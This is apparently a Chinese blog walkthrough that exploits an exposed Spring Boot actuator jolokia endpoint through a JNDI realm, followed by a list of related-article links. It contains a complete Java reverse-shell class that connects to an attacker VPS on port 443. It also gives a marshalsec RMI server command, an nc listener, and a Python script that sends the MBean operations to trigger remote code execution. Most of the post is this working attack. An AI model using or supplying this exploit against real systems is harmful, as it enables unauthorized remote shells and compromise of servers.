日穿扫描扫到一个spring boot actuator

可以看到有jolokia这个端点,再看下jolokia/list,存在type=MBeanFactory 关键字

可以使用jolokia-realm-jndi-rce具体步骤如下
先用python3开一个web服务

python3 -m http.server 8080

编译java利用代码

/***  javac -source 1.5 -target 1.5 JNDIObject.java**  Build By LandGrey* */import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;public class JNDIObject {static {try{String ip = "your-vps-ip";String port = "443";String py_path = null;String[] cmd;if (!System.getProperty("os.name").toLowerCase().contains("windows")) {String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};for(int i = 0; i < py_envs.length; ++i) {String py = py_envs[i];if ((new File(py)).exists()) {py_path = py;break;}}if (py_path != null) {if ((new File("/bin/bash")).exists()) {cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};} else {cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};}} else {if ((new File("/bin/bash")).exists()) {cmd = new String[]{"/bin/bash"};} else {cmd = new String[]{"/bin/sh"};}}} else {cmd = new String[]{"cmd.exe"};}Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();Socket s = new Socket(ip, Integer.parseInt(port));InputStream pi = p.getInputStream();InputStream pe = p.getErrorStream();InputStream si = s.getInputStream();OutputStream po = p.getOutputStream();OutputStream so = s.getOutputStream();while(!s.isClosed()) {while(pi.available() > 0) {so.write(pi.read());}while(pe.available() > 0) {so.write(pe.read());}while(si.available() > 0) {po.write(si.read());}so.flush();po.flush();Thread.sleep(50L);try {p.exitValue();break;} catch (Exception e) {}}p.destroy();s.close();}catch (Throwable e){e.printStackTrace();}}
}
javac -source 1.5 -target 1.5 JNDIObject.java

架设恶意 rmi 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://vps:8080/#JNDIObject 1389

监听端口

nc -lvp 443

执行exp

#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txtimport requestsurl = 'http://127.0.0.1:8080/jolokia'create_realm = {"mbean": "Tomcat:type=MBeanFactory","type": "EXEC","operation": "createJNDIRealm","arguments": ["Tomcat:type=Engine"]
}wirte_factory = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "contextFactory","value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}write_url = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "connectionURL","value": "rmi://your-vps-ip:1389/JNDIObject"
}stop = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "stop","arguments": []
}start = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "start","arguments": []
}flow = [create_realm, wirte_factory, write_url, stop, start]for i in flow:print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))r = requests.post(url, json=i)r.json()print(r.status_code)
python3 springboot-realm-jndi-rce.py

然后等两秒shell就回来了

Springboot之actuator配置不当漏洞RCE(jolokia)相关推荐

  1. Springboot之actuator配置不当漏洞(autoconfig、configprops、beans、dump、env、health、info、mappings、metrics、trace)

    前言 Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看.统计等.在 Actuator ...

  2. Springboot之Actuator信息泄露漏洞利用

    0x01 什么是Actuator Spring Boot Actuator 模块提供了健康检查,审计,指标收集,HTTP 跟踪等,是帮助我们监控和管理Spring Boot 应用的模块.这个模块采集应 ...

  3. Springboot之Actuato介绍及漏洞

    Spring Boot Actuator 可以帮助你监控和管理 Spring Boot 应用,比如健康检查.审计.统计和 HTTP 追踪等.所有的这些特性可以通过 JMX 或者 HTTP endpoi ...

  4. SpringBoot集成Actuator端点配置

    1.说明 Actuator端点可以监控应用程序并与之交互. Spring Boot包括许多内置的端点, 比如health端点提供基本的应用程序运行状况信息, 并允许添加自定义端点. 可以控制每个单独的 ...

  5. php目录遍历漏洞复现,nginx解析漏洞,配置不当,目录遍历漏洞环境搭建、漏洞复现...

    nginx解析漏洞,配置不当,目录遍历漏洞复现 1.Ubuntu14.04安装nginx-php5-fpm 安装了nginx,需要安装以下依赖 sudo apt-get install libpcre ...

  6. Redis 配置不当致使 root 被提权漏洞

    漏洞描述 Redis 服务因配置不当,可被攻击者恶意利用.黑客借助 Redis 内置命令,可将现有数据恶意清空:如果 Redis 以 root 身份运行,黑客可往服务器上写入 SSH 公钥文件,直接登 ...

  7. Redis配置不当致使root被提权漏洞

    Redis配置不当致使root被提权漏洞 Dear all~ 最近Redis服务被曝出因配置不当,可能造成数据库被恶意清空,或被黑客利用写入后门文件造成进一步入侵,请关注! 一.漏洞发布日期 2015 ...

  8. 9月29 Redis配置不当致使root被提权漏洞 | Found a swap file by the name swp

    1.Redis配置不当致使root被提权漏洞 建议修复方案(需要重启redis才能生效) 1.绑定需要访问数据库的IP 修改 redis.conf 中的 "bind 127.0.0.1&qu ...

  9. springboot的自动配置原理

    SpringBoot中的默认配置 通过刚才的学习,我们知道@EnableAutoConfiguration会开启SpringBoot的自动配置,并且根据你引入的依赖来生效对应的默认配置.那么问题来了: ...

最新文章

  1. 如何在Keras中检查深度学习模型(翻译)
  2. 分布式任务队列 Celery — 深入 Task
  3. hive表级权限控制_Hive权限控制和超级管理员的实现
  4. 如何通过VPC在本机搭建局域网
  5. C++ Primer 5th笔记(10)chapter10 泛型算法 :迭代器
  6. 计算机技能需求新排名:C语言仅排第 8,第 1 名你想不到!
  7. 【BZOJ1257】余数之和sum,数论练习之取值讨论
  8. LeetCode 775. Global and Local Inversions
  9. Mono 的Virtual PC 虚拟机
  10. ios官方菜单项目重点剖析附项目源码
  11. 【bzoj1951】【古代猪文】Lucas定理+欧拉定理+孙子定理
  12. 创业6年,网络营销真的很重要
  13. Java编程基础12——Eclipse使用Object类型
  14. bzoj 1260涂色 题解
  15. 计算机组成原理 — PCI-E 外设接口标准
  16. Codeforces 833D Red-Black Cobweb 边分治
  17. 转:走向自治:关于德鲁克的五个关键词
  18. Opncv 实现拍照、颜色识别和阈值选取
  19. vue小项目整理—main.js(一)
  20. VaR 与 CVaR

热门文章

  1. NAR再版 | 人类长非编码RNA知识库LncRNAWiki 2.0
  2. Time除了监控程序运行时间还能干这个?
  3. 经验也有捷径,来看下这些热点、经验、技术等干货应有尽有的公众号吧!
  4. 这个只需一步就可做富集分析的网站还未发表就被CNS等引用超过350次
  5. STM32H743+CubeMX-解决FDCAN控制器无法接收远程帧
  6. 操作系统课设之Linux 进程间通信
  7. Session过期,如何跳出iframe框架页的问题
  8. Python笔记-Flask的搭建及基本使用
  9. QML笔记-使用connect界面数据交互(qml中Designer使用)
  10. 消除文法左递归-编译原理